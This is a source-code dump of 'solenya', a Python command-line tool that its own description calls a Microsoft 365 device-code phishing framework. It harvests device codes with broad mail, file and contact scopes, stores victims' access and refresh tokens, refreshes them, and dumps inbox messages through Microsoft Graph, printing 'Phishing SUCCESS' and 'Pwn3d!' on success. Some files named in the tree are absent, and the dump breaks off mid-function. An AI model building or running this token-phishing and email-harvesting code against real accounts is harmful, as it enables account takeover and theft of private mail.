├── main.py
├── msph
├── clients
│ ├── __init__.py
│ ├── constants.py
│ ├── graph_api.py
│ ├── ms_online.py
│ └── framework.py
├── commands
│ ├── __init__.py
│ ├── auth
│ │ ├── __init__.py
│ │ ├── phish
│ │ │ ├── __init__.py
│ │ │ ├── msgs.py
│ │ │ └── command.py
│ │ ├── refresh
│ │ │ ├── __init__.py
│ │ │ ├── msgs.py
│ │ │ └── command.py
│ │ └── root.py
│ ├── dump
│ │ ├── __init__.py
│ │ ├── email
│ │ │ ├── __init__.py
│ │ │ ├── msgs.py
│ │ │ └── command.py
│ │ └── root.py
│ ├── export
│ │ ├── __init__.py
│ │ ├── msgs.py
│ │ └── command.py
│ ├── switch
│ │ ├── __init__.py
│ │ ├── msgs.py
│ │ └── command.py
│ ├── target
│ │ ├── __init__.py
│ │ ├── validators.py
│ │ ├── msgs.py
│ │ └── command.py
│ ├── wsp
│ │ ├── __init__.py
│ │ ├── validators.py
│ │ ├── msgs.py
│ │ └── command.py
│ └── root.py
├── config.py
├── exceptions.py
├── __init__.py
├── utils.py
├── validators.py
├── workspace.py
├── settings.py
├── __main__.py
├── models.py
└── app.py
├── images
├── app-auth.png
├── app-demo.png
├── babayaga.jpg
├── pickleRick.png
├── public-client.png
├── app-registrations.png
├── getting-client-id.png
├── default_permissions.png
└── implication-dennis.gif
├── scripts
├── upload.sh
└── reinstall.sh
├── requirements.txt
├── LICENSE.txt
├── setup.py
├── .gitignore
└── README.md
/main.py:
--------------------------------------------------------------------------------
1 | import msph.__main__
--------------------------------------------------------------------------------
/msph/clients/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/msph/commands/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/msph/commands/auth/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/msph/commands/dump/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/msph/commands/export/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/msph/commands/switch/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/msph/commands/target/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/msph/commands/wsp/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/msph/commands/auth/phish/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/msph/commands/auth/refresh/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/msph/commands/dump/email/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/msph/config.py:
--------------------------------------------------------------------------------
1 | class Config(object):
2 | WSP_ROOT_DIR = '.sol'
--------------------------------------------------------------------------------
/images/app-auth.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CultCornholio/solenya/HEAD/images/app-auth.png
--------------------------------------------------------------------------------
/images/app-demo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CultCornholio/solenya/HEAD/images/app-demo.png
--------------------------------------------------------------------------------
/images/babayaga.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CultCornholio/solenya/HEAD/images/babayaga.jpg
--------------------------------------------------------------------------------
/images/pickleRick.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CultCornholio/solenya/HEAD/images/pickleRick.png
--------------------------------------------------------------------------------
/images/public-client.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CultCornholio/solenya/HEAD/images/public-client.png
--------------------------------------------------------------------------------
/images/app-registrations.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CultCornholio/solenya/HEAD/images/app-registrations.png
--------------------------------------------------------------------------------
/images/getting-client-id.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CultCornholio/solenya/HEAD/images/getting-client-id.png
--------------------------------------------------------------------------------
/images/default_permissions.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CultCornholio/solenya/HEAD/images/default_permissions.png
--------------------------------------------------------------------------------
/images/implication-dennis.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CultCornholio/solenya/HEAD/images/implication-dennis.gif
--------------------------------------------------------------------------------
/scripts/upload.sh:
--------------------------------------------------------------------------------
1 | cd ..
2 | rm -rf build
3 | rm -rf dist
4 | rm -rf .egg-info
5 | rm -rf eggs
6 | python setup.py sdist bdist_wheel
7 | twine upload dist/*
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | aiohttp==3.7.1
2 | async-timeout==3.0.1
3 | attrs==21.2.0
4 | chardet==3.0.4
5 | colorful==0.5.4
6 | idna==3.2
7 | multidict==5.1.0
8 | peewee==3.14.4
9 | typing-extensions==3.10.0.2
10 | yarl==1.6.3
11 |
--------------------------------------------------------------------------------
/scripts/reinstall.sh:
--------------------------------------------------------------------------------
1 | cd ..
2 | python setup.py install
3 | yes | pip uninstall msph
4 | rm -rf dist/
5 | rm -rf build/
6 | rm -rf msph.egg-info/
7 | python setup.py install
8 | rm -rf dist/
9 | rm -rf build/
10 | rm -rf msph.egg-info/
11 |
--------------------------------------------------------------------------------
/msph/clients/constants.py:
--------------------------------------------------------------------------------
1 | DEVICE_CODE_SCOPE = ('Contacts.Read Files.ReadWrite Mail.Read '
2 | 'Notes.Read Mail.ReadWrite '
3 | 'openid profile User.Read email offline_access')
4 | ACCESS_TOKEN_GRANT = "urn:ietf:params:oauth:grant-type:device_code"
5 | EMAIL_SELECT = 'id,sentDateTime,subject,bodyPreview,toRecipients'
--------------------------------------------------------------------------------
/msph/commands/wsp/validators.py:
--------------------------------------------------------------------------------
1 | import argparse
2 | from uuid import UUID
3 |
4 |
5 | def client_id(value):
6 | try:
7 | uuid_obj = UUID(value, version=4)
8 | except ValueError:
9 | raise argparse.ArgumentTypeError(
10 | "client id must be a valid UUID 4.")
11 | else:
12 | return value
--------------------------------------------------------------------------------
/msph/commands/export/msgs.py:
--------------------------------------------------------------------------------
1 | import colorful as cf
2 |
3 | def exporting_active_target(target):
4 | return f"Export active target: {cf.magenta(target.name)}."
5 |
6 | def exporting_all_targets(targets):
7 | return f"Export {cf.magenta('all targets')}. Total targets: {cf.cyan(len(targets))}"
8 |
9 | def saved_targets_to_file(path):
10 | return f"Saved target/targets to {cf.cyan(path)}"
--------------------------------------------------------------------------------
/msph/exceptions.py:
--------------------------------------------------------------------------------
1 | import colorful as cf
2 |
3 | class CliAppError(Exception):
4 |
5 | def __init__(self, msg, *args, no_spacing=False) -> None:
6 | msg = f"{cf.red('ERROR')}:\n{msg}"
7 | super().__init__(msg, *args)
8 |
9 | class ValidationError(CliAppError):
10 |
11 | def __init__(self, msg, *args, no_spacing=False) -> None:
12 | super().__init__(msg, *args, no_spacing=no_spacing)
--------------------------------------------------------------------------------
/msph/commands/dump/root.py:
--------------------------------------------------------------------------------
1 | import argparse
2 |
3 | from msph.app import Command
4 |
5 | from .email.command import email
6 |
7 |
8 | dump = Command('dump', __name__)
9 |
10 | @dump.assembly
11 | def assemble_parser(subparsers, app):
12 | parser = subparsers.add_parser('dump',
13 | help="interacts with the Microsoft Graph API to gather data.")
14 | subparsers = parser.add_subparsers(dest='dump_cmd')
15 | subparsers.required = True
16 |
17 | email.assemble_parser(subparsers, app=app)
18 |
19 | return parser
--------------------------------------------------------------------------------
/msph/__init__.py:
--------------------------------------------------------------------------------
1 | from .app import CliApp
2 | from .settings import Settings
3 | from .config import Config
4 | from .workspace import WorkSpace
5 |
6 | settings = Settings()
7 | wsp = WorkSpace()
8 |
9 | def create_app(config = Config):
10 | app = CliApp(__name__)
11 |
12 | app.register_config(config)
13 | app.register_settings(settings)
14 | app.register_plugin(wsp)
15 |
16 | from .commands.root import msph
17 | parser = msph.assemble_parser(app=app)
18 | app.register_parser(parser)
19 |
20 | return app
--------------------------------------------------------------------------------
/msph/utils.py:
--------------------------------------------------------------------------------
1 | import json
2 | import argparse
3 | import csv
4 | from os import write
5 |
6 | def format_json(dict_):
7 | return json.dumps(dict_, indent=4, ensure_ascii=False)
8 |
9 | def save_json(dict_, path):
10 | with open(path, 'w', encoding='utf-8') as file:
11 | json.dump(dict_, file, indent=4, ensure_ascii=False)
12 |
13 | def save_to_csv(rows, headers, path):
14 | with open(path, 'w', encoding='utf-8') as file:
15 | writer = csv.writer(file)
16 | writer.writerow(headers)
17 | writer.writerows(rows)
18 |
--------------------------------------------------------------------------------
/msph/commands/auth/root.py:
--------------------------------------------------------------------------------
1 | import argparse
2 |
3 | from msph.app import Command
4 |
5 | from .phish.command import phish
6 | from .refresh.command import refresh
7 |
8 | auth = Command('auth', __name__)
9 |
10 | @auth.assembly
11 | def assemble_parser(subparsers, app):
12 | parser = subparsers.add_parser('auth',
13 | help="manage authentication of targets registered with the WorkSpace.")
14 | subparsers = parser.add_subparsers(dest='auth_cmd')
15 | subparsers.required = True
16 |
17 | phish.assemble_parser(subparsers, app=app)
18 | refresh.assemble_parser(subparsers, app=app)
19 |
20 | return parser
--------------------------------------------------------------------------------
/msph/clients/graph_api.py:
--------------------------------------------------------------------------------
1 | from .framework import Client, Resource
2 |
3 | from . import constants as const
4 |
5 | client = Client(
6 | base_url='https://graph.microsoft.com',
7 | base_headers={
8 | 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
9 | 'Content-Type': 'application/x-www-form-urlencoded',
10 | }
11 | )
12 |
13 | @client.endpoint
14 | def get_emails(access_token, target_id):
15 | return Resource(
16 | uri='/v1.0/me/MailFolders/inbox/messages',
17 | headers={'Authorization': f'Bearer {access_token}'},
18 | params={'select': const.EMAIL_SELECT}
19 | )
--------------------------------------------------------------------------------
/msph/validators.py:
--------------------------------------------------------------------------------
1 | from msph.app import Validator
2 |
3 | from .exceptions import ValidationError
4 | from . import wsp
5 | from .models import Wsp, WspTarget
6 |
7 | class WorkSpaceRequired(Validator):
8 |
9 | def validate(self):
10 | super().validate()
11 | if not wsp.exists:
12 | raise ValidationError('WorkSpace is required.')
13 |
14 | class ClientIdRequired(WorkSpaceRequired):
15 |
16 | def validate(self):
17 | super().validate()
18 | if not Wsp.select().first():
19 | raise ValidationError('Client id is required.')
20 |
21 | class ActiveTargetRequired(ClientIdRequired):
22 |
23 | def validate(self):
24 | super().validate()
25 | if not WspTarget.select().where(WspTarget.active == True).first():
26 | raise ValidationError('No active target found in WorkSpace.')
27 |
--------------------------------------------------------------------------------
/msph/workspace.py:
--------------------------------------------------------------------------------
1 | from peewee import SqliteDatabase
2 | import os
3 | import shutil
4 |
5 | class WorkSpace(object):
6 |
7 | name = 'wsp'
8 |
9 | def __init__(self) -> None:
10 | self.db = None
11 | self.app = None
12 |
13 | def register_app(self, app):
14 | self.app = app
15 | self.root_dir = self.app.config.get('WSP_ROOT_DIR')
16 | if not self.root_dir:
17 | self.root_dir = './'
18 | self.db = SqliteDatabase(os.path.join(self.root_dir, 'app.db'))
19 |
20 | def create(self):
21 | os.mkdir(self.root_dir)
22 |
23 | def connect_db(self):
24 | self.db.connect()
25 |
26 | def create_tables(self, *args):
27 | self.db.create_tables(args)
28 |
29 | @property
30 | def exists(self):
31 | return os.path.isdir(self.root_dir)
32 |
33 | def clear(self):
34 | shutil.rmtree(self.root_dir)
--------------------------------------------------------------------------------
/msph/commands/auth/refresh/msgs.py:
--------------------------------------------------------------------------------
1 | import colorful as cf
2 |
3 | def checking_for_active_target(target):
4 | return f"Refreshing for active target: {cf.magenta(target.name)}, {cf.coral('user_code')}:{cf.cyan(target.user_code)}"
5 |
6 | def checking_for_all_targets(targets):
7 | return f"Refreshing for {cf.magenta('all targets')}. Total targets: {cf.cyan(len(targets))}"
8 |
9 | def no_refresh_token(target):
10 | return f"{cf.yellow('WARNING')}: target {cf.magenta(target.name)} does not have a valid {cf.green('refresh_token')}. {cf.white('Skipping...')}"
11 |
12 | def could_not_get_access_token(target):
13 | return f"{cf.yellow('WARNING')}: could not get {cf.green('refresh_token')} for target {cf.magenta(target.name)}. {cf.white('Skipping...')}"
14 |
15 | def access_token_success(target):
16 | return f"{cf.green('Access Token Refreshed')}: for target {target.name} (expires: {target.get_exp_time('access_token')})"
--------------------------------------------------------------------------------
/msph/commands/root.py:
--------------------------------------------------------------------------------
1 | import argparse
2 |
3 | from msph.app import Command
4 |
5 | from .wsp.command import wsp_cmd
6 | from .target.command import target
7 | from .switch.command import switch
8 | from .auth.root import auth
9 | from .dump.root import dump
10 | from .export.command import export
11 |
12 | msph = Command('sol', __name__)
13 |
14 | @msph.assembly
15 | def assemble_parser(app):
16 | parser = argparse.ArgumentParser(
17 | prog=msph.name,
18 | description="Microsoft365 Device Code Phishing CLI tool."
19 | )
20 | subparsers = parser.add_subparsers(dest="root_cmd")
21 | subparsers.required = True
22 |
23 | wsp_cmd.assemble_parser(subparsers, app = app)
24 | target.assemble_parser(subparsers, app = app)
25 | switch.assemble_parser(subparsers, app = app)
26 | auth.assemble_parser(subparsers, app = app)
27 | dump.assemble_parser(subparsers, app= app)
28 | export.assemble_parser(subparsers, app = app)
29 |
30 | return parser
--------------------------------------------------------------------------------
/msph/commands/wsp/msgs.py:
--------------------------------------------------------------------------------
1 | import colorful as cf
2 |
3 | def workspace_exists(app):
4 | return (
5 | f"WorkSpace at {cf.cyan(app.plugins.wsp.root_dir)} already exists.\n"
6 | f"Add {cf.cyan('--reset')} flag to reset WorkSpace.\n"
7 | f"{cf.yellow('WARNING')}: all data will be lost."
8 | )
9 |
10 | def workspace_created(settings, wsp, target):
11 | return (
12 | f"{cf.green('SUCCESS')}: WorkSpace created at {cf.cyan(wsp.root_dir)}.\n"
13 | f"{cf.white('client_id')}: {cf.cyan(settings.client_id)}\n"
14 | f"{cf.white('active target')}: {cf.magenta(target.name)} [auth]:{cf.coral('user_code')}:{cf.cyan(target.user_code)} (expires at {target.get_exp_time('user_code')})"
15 | )
16 |
17 | def invalid_client_id(settings):
18 | return (
19 | f"Could not get user_code for target '{settings.target_name}'.\n"
20 | f"Client id '{cf.cyan(settings.client_id)}'' may be invalid."
21 | f"Set '--verbose' flag for more detail."
22 | )
--------------------------------------------------------------------------------
/LICENSE.txt:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2021 Artur Saradzhyan, Alex Martirosyan
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
--------------------------------------------------------------------------------
/msph/settings.py:
--------------------------------------------------------------------------------
1 | from types import SimpleNamespace
2 | import os
3 |
4 | class Settings(SimpleNamespace):
5 |
6 | def __init__(self, **kwargs) -> None:
7 | super().__init__(**kwargs)
8 | self.app = None
9 |
10 | #possible settings
11 | self.target_name = None
12 | self.delete_target = False
13 | self.reset_target = False
14 | self.reset_hard = False
15 | self.client_id = None
16 | self.verbose = False
17 | self.wsp_reset = False
18 | self.create_target = False
19 | self.monitor = False
20 | self.all_targets = False
21 | self.target_names = []
22 | self.outpath = ''
23 |
24 | self.__dict__.update(**kwargs)
25 |
26 | def register_app(self, app):
27 | self.app = app
28 |
29 | def clear(self):
30 | self.register_from_namespace(Settings(app=self.app))
31 | return self
32 |
33 | def register_from_namespace(self, namespace):
34 | self.__dict__.update(**vars(namespace))
35 | return self
36 |
37 | def register_from_dict(self, dict_):
38 | self.__dict__.update(**dict_)
39 | return self
40 |
41 |
--------------------------------------------------------------------------------
/msph/clients/ms_online.py:
--------------------------------------------------------------------------------
1 | from .framework import Client, Resource
2 |
3 | from . import constants as const
4 |
5 | client = Client(
6 | base_url='https://login.microsoftonline.com',
7 | base_headers={
8 | 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
9 | 'Content-Type': 'application/x-www-form-urlencoded',
10 | }
11 | )
12 |
13 | @client.endpoint
14 | def get_device_code(client_id:str) -> str:
15 | return Resource(
16 | uri='/organizations/oauth2/v2.0/devicecode',
17 | data={"client_id": client_id, "scope": const.DEVICE_CODE_SCOPE},
18 | )
19 |
20 | @client.endpoint
21 | def get_access_token(client_id:str, device_code:str) -> dict:
22 | return Resource(
23 | uri='/organizations/oauth2/v2.0/token',
24 | data={"grant_type": const.ACCESS_TOKEN_GRANT, "client_id": client_id, "code": device_code},
25 | )
26 |
27 | @client.endpoint
28 | def refresh_access_token(refresh_token:str, target_id:str) -> dict:
29 | return Resource(
30 | uri='/common/oauth2/v2.0/token',
31 | data={'grant_type': 'refresh_token', 'refresh_token': refresh_token, 'scope': const.DEVICE_CODE_SCOPE}
32 | )
33 |
--------------------------------------------------------------------------------
/setup.py:
--------------------------------------------------------------------------------
1 | import setuptools
2 |
3 | def get_long_description(path):
4 | try:
5 | with open(path, "r") as fh:
6 | return fh.read()
7 | except FileNotFoundError:
8 | return str()
9 |
10 | setuptools.setup(
11 | name="solenya",
12 | version="0.1.11",
13 | author="Artur Saradzhyan, Alex Martirosyan",
14 | author_email="cult.cornholio@gmail.com",
15 | description="Microsoft365 Device Code Phishing Framework",
16 | long_description=get_long_description("README.md"),
17 | long_description_content_type="text/markdown",
18 | url="https://github.com/CultCornholio/solenya",
19 | packages=setuptools.find_packages(),
20 | entry_points = {
21 | 'console_scripts': [
22 | 'sol = msph.__main__:main',
23 | ],
24 | },
25 | install_requires=['aiohttp==3.7.1', 'peewee==3.14.4', 'colorful==0.5.4'],
26 | setup_requires=['aiohttp==3.7.1', 'peewee==3.14.4', 'colorful==0.5.4'],
27 | classifiers=[
28 | "Programming Language :: Python :: 3",
29 | "License :: OSI Approved :: MIT License",
30 | "Operating System :: OS Independent",
31 | ],
32 | python_requires='>=3.6',
33 | )
--------------------------------------------------------------------------------
/msph/commands/dump/email/msgs.py:
--------------------------------------------------------------------------------
1 | from datetime import date, datetime
2 | import colorful as cf
3 |
4 |
5 | def target_dumped(target):
6 | return f"{cf.green('Emails Gathered!')}: target {cf.magenta(target.name)} {cf.yellow('Pwn3d!')} ({datetime.now()})!"
7 |
8 | def target_failed(target):
9 | return f"{cf.red('Failed to fetch emails!')}: {cf.magenta(target.name)} verify the access token is still valid."
10 |
11 | def starting_check():
12 | return f"{cf.bold('Running checks...')}"
13 |
14 | def run_for_active_target(target):
15 | return f"Checking for active target: {cf.magenta(target.name)},{cf.coral('user_code')}:{cf.cyan(target.user_code)}"
16 |
17 | def run_for_all_targets(targets):
18 | return f"Running for {cf.magenta('all targets')}. Total targets: {cf.cyan(len(targets))}"
19 |
20 | def starting_session():
21 | return f"{cf.green('[Starting Session]')}({datetime.now()})"
22 |
23 | def user_code_expired(target):
24 | return f"{cf.yellow('WARNING')}: target {cf.magenta(target.name)} has an invalid {cf.coral('acesss_token')}. {cf.white('Skipping...')}"
25 |
26 | def no_targets_with_access_token():
27 | return 'no targets have valid access tokens.'
28 |
29 | def file_saved(path, count):
30 | return f"Saved emails for {cf.cyan(count)} targets to {cf.cyan(path)}"
--------------------------------------------------------------------------------
/msph/commands/switch/msgs.py:
--------------------------------------------------------------------------------
1 | import colorful as cf
2 |
3 | def active_target_set(target):
4 | msg = (
5 | f"{cf.green('SUCCESS')}: target {cf.magenta(target.name)} has been set to active.\n"
6 | "[auth]:"
7 | )
8 | if target.refresh_token:
9 | msg += cf.green("refresh_toked")
10 | if target.is_exp('refresh_token'):
11 | msg += cf.danger('(EXPIRED)')
12 | else:
13 | msg += f"(expires: {target.get_exp_time('refresh_token')})"
14 | else:
15 | msg += f"{cf.coral('user_code')}:{cf.cyan(target.user_code)} "
16 | if target.is_exp('user_code'):
17 | msg += cf.danger('(EXPIRED)')
18 | else:
19 | msg += f"(expires: {target.get_exp_time('user_code')})"
20 | return msg
21 |
22 | def target_is_already_active(target):
23 | return f"Target {cf.magenta(target.name)} is already active."
24 |
25 | def target_not_found(target_name):
26 | return (
27 | f"Target {cf.magenta(target_name)} is not registered with the WorkSpace.\n"
28 | f"Pass [-t] flag to create a new target or use the {cf.cyan('target')}."
29 | )
30 |
31 | def target_already_exists(target):
32 | return f"{cf.yellow('WARNING')}: target '{target.name}' already exists in the WorkSpace. Ignoring [--target] flag."
--------------------------------------------------------------------------------
/msph/__main__.py:
--------------------------------------------------------------------------------
1 | import sys
2 | sys.tracebacklimit = 0
3 |
4 | from . import create_app
5 |
6 | def main(argv):
7 | app = create_app()
8 | app.dispatch(argv)
9 |
10 | sys.exit(main(sys.argv[1:]))
11 |
12 | '''
13 | MIT License
14 |
15 | Copyright (c) 2021 Artur Saradzhyan, Alex Martirosyan
16 |
17 | Permission is hereby granted, free of charge, to any person obtaining a copy
18 | of this software and associated documentation files (the "Software"), to deal
19 | in the Software without restriction, including without limitation the rights
20 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
21 | copies of the Software, and to permit persons to whom the Software is
22 | furnished to do so, subject to the following conditions:
23 |
24 | The above copyright notice and this permission notice shall be included in all
25 | copies or substantial portions of the Software.
26 |
27 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
28 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
29 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
30 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
31 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
32 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
33 | SOFTWARE.'''
--------------------------------------------------------------------------------
/msph/commands/auth/phish/msgs.py:
--------------------------------------------------------------------------------
1 | from datetime import date, datetime
2 | import colorful as cf
3 |
4 | def ending_session(targets_authed_count, targets_expired_count):
5 | return (
6 | f"{cf.green('[Ending Session]')}({datetime.now()})\n"
7 | "[session summary]\n"
8 | f"\ttargets authed count: {cf.cyan(targets_authed_count)}\n"
9 | f"\ttargets expired count: {cf.cyan(targets_expired_count)}"
10 | )
11 |
12 | def no_targets_need_phishing():
13 | return f"{cf.yellow('WARNING')}: No phishing targets remianing."
14 |
15 | def target_authed(target):
16 | return f"{cf.green('Phishing SUCCESS')}: target {cf.magenta(target.name)} {cf.yellow('Pwn3d!')} ({datetime.now()})!"
17 |
18 | def starting_check():
19 | return f"{cf.bold('Running checks...')}"
20 |
21 | def checking_for_active_target(target):
22 | return f"Checking for active target: {cf.magenta(target.name)}, {cf.coral('user_code')}:{cf.cyan(target.user_code)}"
23 |
24 | def checking_for_all_targets(targets):
25 | return f"Checking for {cf.magenta('all targets')}. Total targets: {cf.cyan(len(targets))}"
26 |
27 | def starting_session():
28 | return f"{cf.green('[Starting Session]')}({datetime.now()})"
29 |
30 | def has_refresh_token(target):
31 | return f"{cf.yellow('WARNING')}: target {cf.magenta(target.name)} has a valid {cf.coral('refresh_token')}. {cf.white('Skipping...')}"
32 |
33 | def user_code_expired(target):
34 | return f"{cf.yellow('WARNING')}: target {cf.magenta(target.name)} has an expired {cf.coral('user_code')}. {cf.white('Skipping...')}"
35 |
36 |
--------------------------------------------------------------------------------
/msph/commands/target/validators.py:
--------------------------------------------------------------------------------
1 | import argparse
2 | import re
3 |
4 | from msph.app import Validator, current_app
5 |
6 | from ... import settings
7 |
8 | class CliValidator(Validator):
9 |
10 | def validate(self):
11 | if settings.delete_target:
12 | if not settings.target_names:
13 | current_app.active_command.parser.error('Must specify {target_names} with [-d] flag.')
14 | if settings.reset_target:
15 | if settings.target_names and settings.all_targets:
16 | current_app.active_command.parser.error('Can no specify {target_names} with [-a] flag.')
17 | if settings.all_targets and not settings.reset_target:
18 | current_app.active_command.parser.error("[-a] flag can only be set with [-r] flag.")
19 | if settings.reset_hard:
20 | if not settings.delete_target and not settings.reset_target:
21 | current_app.active_command.parser.error("[--hard] flag can only be set with [-d, -r] flags.")
22 | if settings.delete_target or not settings.target_name:
23 | if settings.verbose:
24 | current_app.active_command.parser.error("[-v] flag can only be set when creating or reseting targets.")
25 | return True
26 |
27 | def target_names(name):
28 | name = str(name)
29 | pattern = re.compile("^[a-z0-9_]*$")
30 | if len(name) > 10 or len(name) < 3 or not pattern.match(name):
31 | raise argparse.ArgumentTypeError(
32 | "target name must be between 3-10 characters long "
33 | "and can only contain lowercase letters, numbers and underscores.")
34 | return name
--------------------------------------------------------------------------------
/msph/models.py:
--------------------------------------------------------------------------------
1 | import peewee as pw
2 | from playhouse.hybrid import hybrid_property
3 | from datetime import date, datetime, timedelta
4 |
5 | from .exceptions import CliAppError
6 |
7 | from . import wsp
8 |
9 | class BaseModel(pw.Model):
10 | class Meta:
11 | database = wsp.db
12 |
13 | class Wsp(BaseModel):
14 | client_id = pw.CharField(100)
15 |
16 | class Target(BaseModel):
17 |
18 | device_code_exp = timedelta(minutes=15)
19 | user_code_exp = timedelta(minutes=15)
20 | access_token_exp = timedelta(hours=1)
21 | refresh_token_exp = timedelta(days=90)
22 |
23 | name = pw.CharField(100)
24 | device_code = pw.TextField(null=True)
25 | user_code = pw.TextField(null=True)
26 | access_token = pw.TextField(null=True)
27 | refresh_token = pw.TextField(null=True)
28 | device_code_ts = pw.DateTimeField(null=True)
29 | user_code_ts = pw.DateTimeField(null=True)
30 | access_token_ts = pw.DateTimeField(null=True)
31 | refresh_token_ts = pw.DateTimeField(null=True)
32 |
33 | def is_exp(self, ts_str):
34 | return datetime.now() > self.get_exp_time(ts_str)
35 |
36 | def get_exp_time(self, ts_str):
37 | ts = getattr(self, f"{ts_str}_ts")
38 | if not ts:
39 | return datetime.min
40 | return getattr(self, f"{ts_str}_ts") + getattr(Target, f"{ts_str}_exp")
41 |
42 | @hybrid_property
43 | def active(self):
44 | return self.wsp_target.first().active
45 |
46 | class WspTarget(BaseModel):
47 | wsp = pw.ForeignKeyField(Wsp, backref='wsp_target')
48 | target = pw.ForeignKeyField(Target, backref="wsp_target")
49 | active = pw.BooleanField(default = False)
50 | timestamp = pw.DateTimeField(default=datetime.now)
51 |
--------------------------------------------------------------------------------
/msph/commands/switch/command.py:
--------------------------------------------------------------------------------
1 | from msph.app import Command, current_app
2 | from msph.exceptions import CliAppError
3 | from msph.settings import Settings
4 |
5 | from ...validators import ActiveTargetRequired
6 | from ... import settings
7 | from ...models import Target, WspTarget
8 | from . import msgs
9 |
10 | switch = Command('switch', __name__,
11 | validators=[])
12 |
13 | @switch.assembly
14 | def assemble_parser(subparsers):
15 | parser = subparsers.add_parser('switch',
16 | help="switches active target.")
17 | parser.add_argument('-t', '--target',
18 | help=("automatically create target if none exists before "
19 | "running the reset of the command."),
20 | dest="create_target",
21 | action="store_true")
22 | parser.add_argument('target_name',
23 | help="the name of the target to switch to.",
24 | type=str)
25 | return parser
26 |
27 | @switch.func
28 | def main():
29 | active_target = Target.select().join(WspTarget)\
30 | .where(WspTarget.active == True).first()
31 | target = Target.select().where(Target.name == settings.target_name).first()
32 | if settings.create_target:
33 | if target:
34 | current_app.display(msgs.target_already_exists(target))
35 | else:
36 | current_app.run_command(
37 | 'msph.target',
38 | settings=Settings(target_names = [settings.target_name]))
39 | target = Target.select().where(Target.name == settings.target_name).first()
40 | if not target:
41 | raise CliAppError(msgs.target_not_found(settings.target_name))
42 | if active_target.id == target.id:
43 | raise CliAppError(msgs.target_is_already_active(target))
44 | wsp_target_to_deactive = active_target.wsp_target.first()
45 | wsp_target_to_activate = target.wsp_target.first()
46 | wsp_target_to_deactive.active = False
47 | wsp_target_to_activate.active = True
48 | wsp_target_to_deactive.save()
49 | wsp_target_to_activate.save()
50 | current_app.display(msgs.active_target_set(target))
--------------------------------------------------------------------------------
/msph/commands/auth/refresh/command.py:
--------------------------------------------------------------------------------
1 | from asyncio import gather
2 | from datetime import datetime
3 |
4 | from msph.app import Command, current_app
5 |
6 | from ....clients import ms_online as client
7 | from ....models import WspTarget, Target
8 | from .... import settings
9 | from . import msgs
10 |
11 | refresh = Command('refresh', __name__, validators=[])
12 |
13 | @refresh.assembly
14 | def assemble_parser(subparsers):
15 | parser = subparsers.add_parser('refresh',
16 | help="obtain a fresh access token using the refresh token.")
17 | parser.add_argument('-a', '--all',
18 | help="refresh tokens for all targets with a non expired refresh_token.",
19 | action="store_true",
20 | dest="all_targets")
21 | parser.add_argument('-v', '--verbose',
22 | help="display output from the API.",
23 | action="store_true",
24 | dest="verbose")
25 | return parser
26 |
27 | @refresh.func
28 | def main():
29 | client.client.aio = True
30 | if settings.all_targets:
31 | targets = [target for target in Target.select()]
32 | current_app.display(msgs.checking_for_all_targets(targets))
33 | else:
34 | targets = [target for target in Target.select()\
35 | .join(WspTarget)\
36 | .where(WspTarget.active == True)]
37 | current_app.display(msgs.checking_for_active_target(targets[0]))
